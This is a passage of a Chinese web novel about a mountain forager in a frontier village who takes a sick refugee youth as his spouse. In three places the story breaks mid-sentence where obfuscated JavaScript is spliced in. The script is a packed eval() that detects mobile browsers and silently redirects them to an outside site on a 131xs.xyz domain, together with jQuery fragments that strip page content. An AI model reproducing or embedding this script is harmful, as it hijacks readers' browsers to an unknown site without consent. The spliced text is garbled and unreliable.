《四时赶山记》 1. 外乡人 春分已过,关外却不见几分春色。 白龙山深处尚有积雪未消,满山的枯枝层叠,仍是寒冬模样,仅向阳处有一层刚冒出来的翠绿错草,又矮又小,是野鹿开春头一份口粮。 二月廿八,是霍凌下山的日子。 离这处最近的保家镇逢初一、十五有大集,一连三日,因着二月山里依旧肃杀着,不多见好货,故而月中十五的大集他没去。 而后花了半月光景,将将攒够了一筐子像样些的东西,这才预备着下山换些银钱。 除了山货,还使麻绳捆了一对大鹿角,是几日前循着错草和鹿蹄印寻见的。 山中公鹿会在冬末春初时换新角,往往其中一个落了,也会抵着树干将另一个蹭掉,所以一对鹿角彼此之间往往相隔不远,有经验的赶山客一次可得一双。 鹿角能入药,也能做料子磨成珠子、手把件,虽野鹿漫山都是,不算多值钱,但对于赶山客而言,总归赚一个是一个。 “大个儿,走了!” 把门栓好,霍凌吹了声哨儿,唤回不远处对着树根撒尿的大狗。 那狗听了哨儿便飞奔而来,一身黑色长毛随风而动,喂养得很是彪壮,四只爪子踩在地上,肩高都赶得上霍凌的腰高,足见体型之大。 下山的路不好走,可这些年早就走熟,不消两个时辰,一人一狗已进了下山村的地界。 几年前娘亲病逝,霍凌和大哥霍峰明面上分了家,他得了爷奶那辈时修的山上小院,大哥得了爹娘在村里后起的几间屋。 实际上兄弟二人不离心,霍峰一直空着间屋与小弟,供他下山时歇脚用。 几亩田地则全数由霍峰夫妻侍弄着,除了春播秋收时,霍凌几乎不出力,遂只依着说好的份额,年年按收成多寡,分走自己的口粮。 对霍凌而言,虽爹娘都走得早,可有哥嫂的地方就是家。 他下山这日惯是一早就走,赶着正午之前到家,快到饭点时,村路上大都不见几个人,今天却反常得紧。 霍凌一路从东向西,瞧见不少人结伴往南边去,要说那边住着的几户人家有什么稀奇,当属出了两任村长的周家。 不止大人去,孩子也去,他抬手叫住一跑两步就抬袖子揩鼻涕的小子,问道:“二毛,这会子不在家等你娘做午食,跑去看什么热闹?” 霍凌这人,别看一直没成亲也没当上爹,倒是颇招孩子喜欢。 因他常在山里,难得下来一趟,偶尔得了空,乐意给村里的孩子讲赶山的故事,夏日里得些野果,也随手拿出来分。 二毛仰脖见是他,吸溜着鼻涕喊了声“二凌叔”,“我跟着虎子和狗子,去村长家看新媳妇!” “新媳妇?村长家有喜事?” 霍凌有些不解,若有喜事,他上回下山时不该没听说。 “你自个儿去吃喜酒,你爹娘不跟着?” 二毛摇头道:“不是吃喜酒,就是看新媳妇!” 前面另外两个小子这会儿见二毛没跟上,停下来喊他,二毛急得蹦跶,也不管霍凌听没听懂,抬腿就溜了。 霍凌摇摇头,心说多半是小孩子玩闹,听岔了话,没再放在心上。 片刻后到了哥嫂家,小侄女霍英高兴极了,“哒哒”跑来。 “小叔!” “嗳!”霍凌笑着应了声,撂下鹿角,弯腰将小姑娘抱起掂了掂,“我试试你沉了没。” 他哥嫂成亲几年,暂且只得了霍英一个闺女,今年四岁,是家里三口大人的宝贝疙瘩。 小姑娘教他哄得咯咯直笑,头顶一对儿羊角辫跟着上下晃荡。 “小叔,有没有给我带甜果子。” “这时节山上还荒着,没结甜果子,小叔给你带了别的。” 霍凌力气大,单手揽着个四岁的孩子,也不耽误另一只手在衣襟里摸索。 很快摸出两个圆胖松果,一看就是精挑细选过的,说百里挑一也不为过,他让霍英拿着,一只手一个。 “没有甜果子,你看这松果儿成不成。” “是圆圆果儿!” 乡下孩子能玩乐的东西少,加上霍英年岁小,看什么都稀奇,举起短短的小胳膊,端着松果左看右看,怎也看不够。 “我要放在我的小匣子里!” “想放哪儿都行。” 叔侄俩逗了两句,霍凌让她下地去找大个儿,霍家大嫂叶素萍此时从后院过来,臂弯上跨着个小篮儿,该是去后头捡蛋了。 见是霍凌,含笑道:“算着你也该今日下山,快搁下东西喝口水,中午做个干豆角焖面吃。” 霍凌叫了声“大嫂”,问他哥去了哪。 “说是先去地里溜达溜达,之后该是往三家屯屠子家去了,想你快下山,赶着割一刀肉下锅。” 她说罢,进灶房给霍凌端水,霍凌不用她麻烦,自己进去一手端碗,一手提壶,这头倒那头喝,咕嘟咕嘟灌了两碗。 院里墙根下大个儿也在埋头喝水,喝得嘴周围一圈的毛都打湿了,原地一甩,水珠四溅。 霍英蹲在一旁也不闪躲,还觉着好玩儿。 不多时,霍峰果然提着一刀肥瘦相间的好猪肉回来,另还有几节剁开的大筒骨,说是卖的就剩这些,给了个便宜价。 “你小子有福气,正赶上这口吃的。” 叶素萍接过骨头和肉,连连称好。 “将这猪肉切片和面条做一盘,筒骨炖个酸菜,出了汤,我再多抻两把面,晚上继续吃汤面。” 霍凌因还要下山歇脚的缘故,也会给家里交银钱作公用,叶素萍心疼他在山上吃不着什么像样的饭菜,逢他下山时,就做一顿带荤的白面或干饭打牙祭。 这不一大早夫妻两个便一个和面,一个买肉,张罗起来。 霍英高兴道:“吃肉咯!吃肉咯!” 叶素萍进灶屋操持饭食,霍峰叫上霍凌,说正好家里板车昨日坏了,趁两人都闲着,顺手修整修整。 有日子没见,做活的同时兄弟两个难免聊起来。 霍峰得知霍凌因着久未下山,上回自家里带去的窝头和饼子早就见了底,往后这段时日都是煮些粥水凑合。 至多添一个鸡蛋,再偶尔和大个儿下兽套捕只野兔之类,胡乱烩了来吃,不禁眉头拧成个疙瘩。 “你也不是不会治些吃食,在家也怪勤快,偏进了山就邋遢懒散得紧,不说连顿正经饭都不做,上回我去,见那炕头成日被不叠,衣裳裤儿乱丢,泥点子都干巴了还不洗,锅台更是一抹一指头灰。” “就我一人过日子,哪那么多讲究。” 霍凌实话实说,他本就一糙汉子,忙活半天,做好了饭也是自己一人吃,何必废那工夫。 被叠好了又没人看,衣服则是总想着多攒两件一起洗,不然多费水? “说什么你都有理!” 不说这个还好,说起这个,霍峰更是来气。 “要不是你梗着脖子犟着头,死活不下山种地,非要留在山里做赶山行当,分明好手好脚,身高体壮,模样更不差,哪里至于二十好几娶不上个媳妇夫郎。” “人家好好的姑娘哥儿,哪个愿意跟你去山里做野人?你不怕熊瞎子,人家还怕!” 差不多的话,霍凌这几年里不知听多少回了,已练就左耳进右耳出的神功。 虽也犯愁何时能娶到个媳妇夫郎,可又知晓自己一接茬,大哥就要提让自己下山种地的事,故而硬是装听不见。 最后还是叶素萍听了几耳朵,手里切菜的菜刀都忘了搁下,拎着探身出来打圆场。 “老二实则是个勤快人,只是在山里打不起精神头收拾罢了,况且他成日一进山就是几个时辰,回来连口热乎饭都吃不上,换了你,你有劲儿成天扫地擦屋洗衣裳?” 说罢霍峰,也说霍凌。 “老二你这亲事,我瞧着实也不能再拖,近来听闻县城里又开始征力役修城墙,到时依旧例,肯定先从家里有兄弟还没家室的青壮征起,轮到咱家头上,要么出人,要么掏钱抵,哪个都是亏,不若就今年,多使使力气,把这事办成。” 叶素萍话说得中肯,此事前两年也有。 那会儿霍凌刚二十,靠着赶山攒下小笔家底,还没捂热乎,为了抵徭役,不得不掏出五两作折银,加上打点当中经手人的,花了八两不止,寻常人家忙活大半年也不过就挣这些。 再来一回,那真是想想就肝儿颤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691351|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只是娶亲要真那么容易,何至于到现在没个着落。 算起来,他十五那年丧母,因母丧到十八才论亲事,然而用霍峰的话讲,不知中了哪门子邪,非要去山里度日,接下他爷、他爹两辈儿的衣钵,继续做个白龙山里的赶山客。 深山中岂是什么好地方,走背字遇见熊瞎子,能给啃的骨头都不剩,况且霍凌他爹就是赶山时从高树上摔下来没的。 像样的人家,哪舍得把孩子嫁过来,就算不丢命,守寡也要命。 不像样的人家,倒是拿了彩礼就肯“卖”孩子,可那样的人家,霍凌也不乐意去结亲。 “回头再说。” 相看多了,次次不成,霍凌难免有些灰心。 见他压下不肯再提,叶素萍和霍峰对了个眼神,也就止了话头。 午间,一人一大碗焖面条,并一盆子酸菜猪骨汤上了桌。 面条是杂面和的,不过也掺了几把白面。 配上荤油烧的干豆角和肉片子,菜肉焦香入味,面条筋道耐嚼,扒几大口进肚,甭提多满足。 筒骨外头剩的肉不多,但啃完了还能吸溜里面的骨髓吃,霍凌吃时刻意将骨髓剩了些,将余下的全给了大个儿。 大个儿的牙口可比人好多了,咔嚓两下就把筒骨咬碎,里外里吃了个干净。 霍峰不及霍凌吃得快,也不及他吃得多,叶素萍和霍英更是早早放了筷。 等霍凌吃完,发现侄女已经被打发到一边玩去了,他哥嫂两个望着自己,似是有话说。 联想到饭前大嫂说的话,直觉告诉霍凌,多半是家里对于他的亲事有了什么新想头。 不出所料,接着霍峰和叶素萍你一言我一语,把要说的事同霍凌讲清。 原是关内几县连遭两年大旱,迫得不少人成了流民到关外谋生,他们长林县只这点好,地多人少,素来对外来流民颇为宽待,但凡来了,都能留住。 人进了城,便分作几类,那等有家有口的最是稳妥不生事,衙门许他们择地落籍,开垦荒地。 县内土地肥沃,大山环绕,只要有手有脚,就绝对饿不死。 独身的青壮多被大户纳去做长工,能活着走到地方的定是有一把子好体格,吃饱饭能卖大力气。 那些个地主良田广阔,一家能蓄养十几二十个长工,怎也不嫌多。 最后一类即是些姑娘和小哥儿,有些因故守了寡,有些尚未嫁过人,皆交由各镇上官媒,领去下面村屯配人家。 此乃最容易的安置法子,还能顺道安抚了那些想媳妇夫郎想得睡不着的光棍汉。 “前些日子村长就得了信儿,特地来咱家提了醒,还说要是你到日子没下山,我上去寻也要把你寻来。” “这回说是摊派到咱们村的,姑娘哥儿都有,若合眼缘,直接领回家都使得,因是流民,一路过来不容易,有条命就不错,嫁妆别指望,相应的也不要咱出彩礼,只图个搭伙过日子。” 连彩礼都能省,对汉子们而言绝对是值得打破头的好事,霍凌都能想见,到时这几个姑娘哥儿要教多少个脑袋围起相看。 怪不得回来路上好些人往周家去,恐怕是去打听消息,引得二毛这般的小娃娃都跟着去凑热闹。 他手里有积蓄,就是备着娶亲用,只是一直没用上,彩礼是不差的,唯独缺个合适的人。 见他半天不说话,霍峰不由眼皮直跳,警告道:“你该不是不想去?这可是村长发了话的,你就是想犯轴,也给我憋着。” 霍凌本想说这听着哪里像相看,倒像是人牙子卖人,心里头怪别扭,到时领回来,也不晓得人家是不是真心实意。 不过给流民配人家并非什么新鲜事,只是下山村偏僻且不富裕,过去从未轮上过罢了。 去别村时常听说谁家媳妇或夫郎是关内逃难来的,为了在这里立住脚,活下命,也都好端端过着日子。 世道如此,盲婚哑嫁尚存。 就算有机会相看,无非是见上一面,瞧着有鼻子有眼,不缺胳膊少腿,亲事便定下,比直接领人回家多了几道礼数罢了。 眼看他哥目光愈发逼人,霍凌躲不过,只好道:“我去,无论成不成的,先看看再说。” 2. 病哥儿 翌日上午,喂完家里一口猪和一窝鸡鸭,兄弟俩挑着担走一趟,将院内大水缸添满,方各自进屋换了干净衣裳,一并往周家去。 出门前,霍凌特地牵上了大个儿。 这算是吃一堑长一智,因去年曾为此吃过亏。 那时有个媒人来往两村,说得天花乱坠,道外村一哥儿肯嫁过来,不嫌霍凌的行当不安稳,也乐意进山。 怎知相看时,那哥儿瞥见了大个儿,吓得脸色煞白,当场背过气去。 又是喊人又是扛着送医,掐人中给掐醒后,哥儿哭着喊着死活不嫁,细问方知是媒人从中欺瞒,人家压根不知霍凌是赶山客。 说媒不就是要捡好听的宣扬,再者霍凌生得出挑,一表人才,媒人盘算着,指不定哥儿见面瞧见那张脸就肯应了。 殊不知有人能怕狗怕到这份上,到头来媒人礼没赚着,反倒赔了一笔药钱,自此灰溜溜的,再不敢踏入下山村地界。 霍峰见霍凌牵了狗,也想起去年的糟心事,害得家里空欢喜一场。 只盼这回不白跑一趟,令老二的亲事能有个着落。 事情却不如企盼的那般顺利。 刚到周家院门口,就已听见里面的吵嚷。 领人进村的赵官媒被一群村人围着,七嘴八舌,说得她是心火直冒,口干舌燥。 叶素萍瞧见围着的人里有熟人,上前打听一番,回来后也变得愁眉苦脸。 “出啥事了,在这就闹起来。” 霍峰抱着闺女问,叶素萍瞅瞅兄弟俩,重重叹口气。 “说是送来村里的人不够数,原说至少有五六个,毕竟咱们村光棍汉子不少,还是村长特地去镇上衙门里求的,哪知人送来了,只余两个,别的都教人半路截了。” 她话音刚落,那边的声调又高起来,是赵官媒忍无可忍,站上一块略高的大石头,掐着腰同众人嚷嚷。 “你们现在同我要人,揪了我的脑袋我也交不出!已说了好几回,人是半路在双井屯时,被那沈家截去的,人家是地主大户,纳几个姑娘哥儿为奴为婢难道不正当?不仅正当,官府还要奖赏他们,许减粮税呐!” 她甩着手里的帕子拍胸脯,好似给气得胸口疼。 “我在地主老爷跟前又算个什么,人家哪条胳膊不比我大腿粗,反正现在只剩两个人,你们爱看不看,爱要不要!” 话说到这份上,也堵死了下山村诸人的嘴。 毕竟谁敢真的去双井屯,跟那地主沈家讨说法。 就因有个沈家能沾上光,双井屯的人行事素来牛哄哄的,看不起旁边几个小村屯,仗势欺人也不是头一回了。 村长周成祖见状,敲了几下子盆儿令众人安静,扬声道:“事已至此,总比没有的强,有意相看的都进院,其余的赶紧散了,别聚在这处生事!” 赵官媒冷着脸跳下石头,心道若不是背着官家差事,她堂堂一官媒,自该在城里富户的堂上喝茶吃果儿,哪至于天不亮就赶路,到此处和一帮泥腿子拉扯不休,还是早些办完差事,趁早回去要紧。 在周成祖的招呼下,她吊着眉眼进了院内,其余来相看的汉子与家里人,以及好些个看热闹的,顺势一齐涌进去。 霍家人站得算是靠前,叶素萍一看由官媒领来的人,小声嘀咕:“咋都是哥儿。” 哥儿不易有孕,故而在亲事上头不如姑娘吃香,譬如正经过礼时,按着现今行情,姑娘是能给到五两彩礼的,要是模样好嫁妆丰,还能往上再喊喊,反观哥儿,左不过三四两银就到头。 所以好人家说亲,都喜先说姑娘家,说不上才寻哥儿结亲。 不过叶素萍也只是说说而已,霍凌拖了这好几年,哪还有什么挑头。 再看来人,靠左立着的那个面盘尖尖、脸皮蜡黄,一副病容。 右边那个,该是年岁不大,手腕不及柴火棒粗,始终和左边的哥儿紧挨在一处。 至于模样,逃荒一路,都瘦脱相了,实也看不出什么,总之合在一起,都不像有力气干活的。 怪不得沈家没要。 叶素萍既这么想,在场其余人也差不多,都在交头接耳,嘟嘟囔囔。 当中属郑婆子话最多。 “那病哥儿断不能行,带回家倒赔药钱不说,治不好万一人没了,多晦气。” “另一个矮个儿的还凑合,只是体格单薄一张板儿,怕是养胖了也生不出儿子。” 无礼且话糙,可在乡下,有几人不信这套? 当下好些人摇头,不多时,围了两圈的人走得只剩一圈,连带郑婆子也走了。 她家本还剩个小儿子没成亲,是打着省彩礼白赚个人的算盘来的,然而见这头两个都是赔钱货,如此傻事她怎会干。 就算不要彩礼,到家总还要给口饭,到时候没法传宗接代,照样白养一回。 又是个娘家根脚不在当地的,赶都不好赶。 人少了,周遭清净许多,小哥儿们仍默不作声站在那里,任人评头论足。 霍峰悄声问霍凌,“你怎么想?” 霍凌实则也不知说些什么好,只是来都来了,见大哥盯得紧,勉强问官媒娘子道:“不知这两人多大了。” “年岁都不大,这小个子的今年十六,另外那个更大些,有个双九。” 赵官媒为打消村人顾虑,多说了几句。 “大家伙也别嫌他俩瘦巴巴的不像样,换你走上千里路背井离乡,不一定有人家气色好。到底是衙门查验过的,皆是身家清白,还不要彩礼,过了这村没这店的好事!” 要霍凌说,眼前的赵官媒真有点像城里牙行的人牙子,想着法儿把人留下。 霍峰有意让小弟看看那年轻些的哥儿成不成,霍凌干脆地摇头,说是觉得岁数太小。 “说是十六,看着和十四五似的。” “你小子不是只挑人家肯不肯进山,怕不怕狗,咋还挑上岁数了?还不兴人家长得显小些。” 霍峰气得眉毛一竖,有心再劝,可惜霍凌犟驴脾气上来,就是不肯。 于是眼睁睁看着林家那个结巴小子把人领去了,两边互换了名姓,原来那哥儿姓肖,叫肖明明。 林母高兴得合不拢嘴,对着村长和赵官媒谢了又谢,还说要回家取鸡蛋来送,周成祖不收,赵官媒实是瞧不上,如此才作罢。 她守寡多年,只林长岁一个儿子,还没咋学会说话的时候,就被那混账爹打坏了一只耳朵。 后来倒是能说话了,只是磕绊不利索,怎也治不好。 加上家里日子紧巴巴,拿不出像样彩礼,林长岁二十了,亲事始终没着落。 别人挑拣哥儿家能不能生养,她知自家斤两,故而不嫌,有个人总比没有强。 就算真的不能生,大不了去外村同族里抱一个,自小养大,也和亲的一样。 那头林家人打算领肖明明离开,这头霍凌更是抬步想走,周成祖见状,开口把人喊住。 他和霍家兄弟的爹霍老栓交情不差,霍峰和霍凌还要管他叫一句老叔。 霍老栓人没得早,令他每每忆起都颇是伤怀。 在他看来,霍凌这小子真真儿是什么都好,唯独脾气太硬,像是隔辈承袭了霍家太爷天不怕地不怕的匪气,认准的事八头驴拉不住。 就说娶亲这事,再不接个人过门,怕不是要打一辈子光棍。 他不得不摆出长辈架势,点了点余下的小哥儿道:“我瞧这也是个好孩子,年岁和你差得不多,能咬牙活着出关的,定也不是没胆识的,岂不正和你心意?” 霍凌这才多看了那哥儿一眼,发现比起刚刚的肖明明,这哥儿好似浑然不在意自己身在何处,神情空茫,盯着地上一块石头出神。 霍峰打量半晌,不好拂村长面子,委婉道:“是不错,就是眼神看着有些木楞。” 别是个脑子不灵光的。 赵官媒可不想费劲把人送到乡下,又原样带回去,闻言赶紧道:“哎呦,也怪不得他,谁还不是个苦命人了。” 她出城的路上听同行的流民说过几句,这会儿原样讲来。 “他本出身关内平安县,家里人丁旺,可惜逃荒路上死的死散的散,到长林县城外时,只剩他和他娘两人。” “那他娘呢,没一起跟来?” 赵官媒摆摆手,避开那哥儿,朝霍家人压低声道:“他娘没福,在路上就害了病,没进城就咽气了。官府为防疫病,将好些人凑一起,点了把火,一并挖坑埋了。” 也就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691352|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说连个单独的坟包都没落着,这在时人眼中可谓大不孝,不然街头怎会动辄有卖身葬父葬母的惨事。 换了谁,谁心里都难过这道坎儿。 就连赵官媒都面露不忍。 “这不,他大悲一场,也病起来,好在县城里有义诊的郎中,好心给了两颗药丸子,道不是什么大病,吃几顿饱饭,养一养便好了。” 听了这故事,任谁再看小哥儿,愈觉他可怜。 分明就差一步进城了,哪怕孤儿寡母,多少是个依靠。 赵官媒方才听周成祖提了几句霍凌的境况,当下一张媒人嘴,说个不停。 “霍家小子,婶子这半辈子说成的亲事没有一百也有八十,还能害你不成?你只管听婶子一句话。” 她殷切道:“你就把这人领家去,保准亏不了。一来省了抵徭役的银子,二来得个人暖被窝,好人家的哥儿,灶上的本事和针线功夫不会差,都是从小练起来的,以后啊,你只等享福!” “至多开始时辛苦些,你家发发善心,舍他几碗汤药,救人一命又不是坏事,这可都是福报!” 眼见她越说越起劲,叶素萍想及自家在媒人手上吃过的亏,忍不住打断道:“知娘子好心,只我家也是普通人家,没那好些余财做菩萨,领不领人,还得看有没有缘分。” 赵官媒一拍手,越发高声。 “缘分好,要我说,今日能遇见那就是缘分!要不怎么说百年修得同船渡,千年修得共枕眠?” 见霍凌不言语,却也没拍屁股走人,她咂摸两下,觉得有戏,走近些添了把火。 “你婶子我是从县城来的,素日行走,多少能听见些风声。像这青壮服徭役,本就是天经地义,这几年是不缺人却缺钱,上头开恩,故而许你掏钱抵,万一下一年掏钱都不好使了,那可如何是好呦!” 她绘声绘色,说那修城墙、下矿井的苦。 “那真是吃不饱、睡不暖,没日没夜埋头干,去那一趟,回来不死也得脱两层皮!身子骨累垮了,回家来卖不了力气,挣不得糊口钱,岂不更难说亲,一耽误真就是一辈子。” 赵官媒为防人砸在手里,说得嗓子发干,见哥儿还在那充木头,不由阵阵头疼,往他后背拍一巴掌。 “你这哥儿,不赶紧说两句话,要是这门亲事成了,还怕没有好日子?人家霍家是下山村顶好的人家,善心又厚道!” 哥儿教她一拍,险些没站稳,关键时候是有人伸手,使一硬邦邦的东西垫了他胳膊一下,这才没摔倒。 他受了惊,终于肯抬眸看过去,发觉眼前杵着个高壮的汉子,刚刚用的物件竟是把匕首。 这等关口,还能顾及性别之防,哥儿因意外而睁了下眼珠,倒因此活过来几分。 他站直了道谢,想了想复问道:“……大哥可是猎户?” 霍凌没想到小哥儿会对自己开口。 方才看了半晌,他真当人已经麻木了,说句不好听的,似也无多少求生之志,一阵风就能带走。 不禁让他想起自己丧亲时的痛楚,爹走得早,十几年过去连面目都模糊,可娘亲去时当真是撕心裂肺,那阵子出门看天都觉天是灰的。 “不算是。” 霍凌顺着他的视线看向腰间,他常在山里行走,遇见野物的时候多,已练就了出手快的本事,用完后随手就插回了皮鞘里。 “你为何这么问?” “我爹……年轻时做过猎户,他那会儿也喜在腰间别一把短匕。” 霍凌摩挲了两下匕首木柄,忽而道:“你怕不怕狗?” 赵官媒在旁听着,瞪眼挑眉,心底奇了又奇。 这俩人也是厉害,问出口的话皆上下不挨着,要这么说,还怪般配。 哥儿面露不解,轻轻摇头。 “不怕,我家从前养过猎狗,家里人亦爱狗,后来我爹跌了一跤伤了腰,不再做猎户,狗也老死了,恐再伤心,这才没再养。” 他说话有些慢,嗓子也发哑,说两下便咳两下,像是已有段时日没说这么多字了。 霍凌却满意这答案,喜欢狗的人心思坏不到哪里去。 他朝门外吹声口哨,复低头看向瘦巴巴的小哥儿。 “你且先瞧瞧我的狗。” 3. 还不熟 “好家伙,这真是狗,不是下山的熊瞎子?” 大个儿本被霍凌留在周家外独自撒欢,惹得左邻右舍的狗轮流叫,听见哨声后第一时间回转,跑到主人跟前,摇着尾巴听令。 赵官媒哪见过这样的狗,当场吓得连退好几步。 “这站起来,得比人还高吧?” 说亲这么多年,她头回见有人相看时带着狗,怪不得一把岁数还打光棍,真是半点不冤。 颜祺却当真不怕,还蹲下来仔细看了半晌,任由大狗围着自己闻嗅,看得赵官媒啧啧称奇。 “宽背、立耳、尾冲天,通身黑,四爪白。” 他起了兴致,仰面同霍凌道:“我爹曾说,四蹄踏雪,猎物杀绝,这样的猎狗,百里挑一。若不是自家大狗生怀的,恐是花过大价钱。” 霍凌意外于他眼光精到,还懂相犬的口诀,抬手比了个数。 “你说值不值?” “值,在我老家,这个数目买不到此等品相的好狗,还需再添个二三成才有戏。” 霍凌眉目舒展,颇有得见知音的畅快。 毕竟当初大哥听说他用一根值十几两的野山参,在大集上换了刚断奶的大个儿,险些打折他的腿。 若是往后和眼前人在一处过日子,好似也不差。 “我叫霍凌,在家行二,不是猎户,而是白龙山的赶山客。” 霍凌示意颜祺起身,去看远处连绵的大山。 山顶终年覆雪白头,绵延无际,横贯长林,走势如龙,故而得名白龙。 颜祺看得出神。 他素来不是那等偏开朗的性子,眼下却不由自主被汉子引着,一言一语说起话来,旁若无人一般。 “你叫什么?” “颜祺。” 霍凌默默念了一遍这两个字。 村户人都大字不识二三个,不需费劲解释是哪个字,知晓怎么念足矣。 “我知你没了亲人,我早年也没了爹娘,可越是这样,咱们留下的人越要好好活,才好让他们在天上心安。” 颜祺闻言,眼眶倏地滚热。 他垂下眸去,抬起袖子擦了擦眼。 只是眼泪擦不绝,直到两边袖子都浸湿了,方才吸着鼻子停下来,随即长长吐出一口气。 这遭哭得短暂却畅快,神思也变得清明。 他听霍凌问自己,愿不愿意嫁人。 他点了点头,“愿意的。” 霍凌遂侧过脸,垂眸细看他模样。 他不知这是否就是所谓的缘分,只知这么看,起码是合眼缘的。 而且两人都喜欢狗,至少成亲后不会大眼瞪小眼,没半句话可讲。 “给我做夫郎,要随我一道进山赶山,山里有虎狼、有长虫,短则十天半月,长则一月才能下山一回,你怕不怕?” 颜祺终于抬头,正眼望向霍凌,他见汉子一脸正色,不似作伪,心下震动,不成想对方真情愿择自己过门。 几步外的大狗威风凛凛,湿润的鼻头在风里一动一动。 颜祺知晓,嫁不嫁人本就由不得自己,若那人是眼前的汉子…… 他痛快道:“我不怕。” 霍凌得了肯定答复,半句废话没有,朝前向那赵氏示意道:“劳烦官媒娘子见证,就他了。” “好极,好极!” 赵官媒连赞两声,乐成一朵花儿。 “我今朝也算是功德圆满。” 周成祖好生欣慰,一边令老妻和儿媳妇招呼官媒人进屋吃茶,一边听霍凌说想借自家牛车去麻儿村寻郎中,赶紧喊儿子将车赶来。 “是该去瞧瞧,别把小病拖成大病。” 牛车不多时到了门口,霍凌接过大哥跑腿回家取来的钱袋,往怀里一揣。 回头瞅见小哥儿独自对着高高的牛车,半天没爬上去,他伸手去扶。 片刻前两人还不相识,自不好当众拉扯,现下已结作夫夫,便不必避嫌了。 怎料小哥儿缩了缩胳膊,小声道:“我身上脏。” 他衣服都已看不出原本颜色,头发打了绺,逃荒的路上不必提,前些日子又浑浑噩噩,连找处野水简单梳洗都顾不上,这会儿低头看自己,实在不好意思让人碰。 霍凌却不管,大手一张,拎他就像拎小鸡。 “哪有那么多穷讲究。” 颜祺只觉脚下一空,回过神来的时候已经坐在牛车上。 霍凌看他抱膝坐稳,抬手和哥嫂作了别,扬起缰绳,驱车上路。 马胡子是周边几个村屯唯一的草医,本名叫马百里,只是叫得人不多,他蓄了两撇怪滑稽的小胡子,遂无论男女老少都喊他作马胡子。 人来时,他正在院子里挽着袖子切药材。 见霍凌扶了个哥儿进来,看着走路都打晃,当即把刀一丢道:“这是谁害病了,赶紧送进屋,搁板子上。” “我夫郎,劳驾您给看看,额头烫得很,都快能摊蛋饼了。” 这话听得马胡子的胡子一抖,小眼睛瞪得溜圆。 “你小子啥时候有夫郎了?” “正是今天才有的。” 马胡子家的西屋使木板搭了个床,专供来此的病患暂躺,上面铺了条薄絮褥子,又垫草席,方便更换。 颜祺平躺下来,只觉得病势汹汹,呼出来的气灼灼烫人。 马胡子洗了把手过来,又是掰眼皮又是号脉,忙了半天后坐下道:“这是急病,送来的及时,倒是没什么大碍,吃服药把高热压下去就是了,不过这哥儿底子亏空得厉害,少不得吃上一阵子补药调理。” 到这里他已猜出小哥儿来历,这模样的流民他们村也来了几个,男女老少都有,个顶个瘦得皮包骨,可怜见的。 “该吃什么就吃什么,您尽管开就是,别替我省银钱。” 霍凌又问:“他这样的,用不用吃参?” 白龙山里最值钱的山货,无疑就是野山参,当地又叫“棒槌”。 山参依照年份不同,有不同的称呼,需至少四年生的方能入药,唤作“灯台子”,因野参长成得太慢,哪怕是霍凌这种常住山里的赶山人,一年到头也遇不见两回能挖的。 霍凌这些年里到手的多是“灯台子”,大都换了钱,只留两株在家,备着需要时可应急。 马胡子摆手加摇头,“没到那份上,且虚不受补,听说过没?哪用得上参了,压根不对症。” 同时心道,霍家小子怪舍得,娶个病哥儿,大价钱的山参也肯用,都说大难不死必有后福,正应在这哥儿的运道上。 他手下不停,写好方子,自去另一间屋里抓药。 晚些时候又取针在颜祺耳朵后面放了记血,挤出来的血色发暗,留下一抹痕。 来时还不到正午,等到颜祺退热已是傍晚,天都快黑了,马胡子终于松口,允了霍凌带人回家。 颜祺出了一身汗,马家媳妇给他烫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691353|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条布巾擦了擦,多少舒服了些,踩在地上时步子也不再虚浮。 “回去吃上三日药,再回来寻我复诊,三日里吃些好克化的清淡物,仔细着别吃风受凉。” 霍凌听了这话,干脆把外衫脱了下来,披在颜祺肩上。 这么一来,他身上就剩了一件单衣。 颜祺慌乱间兜住过于宽大的衣裳,“我不用,你拿回去穿。” “没听郎中说,你得小心些别受凉。” 他活动活动肩膀,“我火气旺,不冷。” 两人毕竟不算太熟,颜祺尚还在花了霍凌好些药钱的忐忑里,教他这么一讲,也不知该怎么把衣服让回去,只得暂且默默披上。 霍凌看小哥儿缩在松垮的衣领中,袖子长得能唱戏,只露出一张巴掌小脸,额心一点红痣,是哥儿独有的孕痣。 他心里起了些陌生的滋味,品了品,揣测这大概就是有了夫郎的不同。 以后这人,就是自己的枕边人了。 …… 回到下山村时天色彻底暗下来,牛车停在霍家门前,颜祺下车驻足,透过打开的院门看向面前的农家小院。 和老家的土坯房不同,这边的屋子都是木头垒的,只院墙是夯土所筑,其中似还夹杂了大块的石头。 当中正房坐北朝南,东西向是连着的三间屋,墙侧修起高高的烟囱。 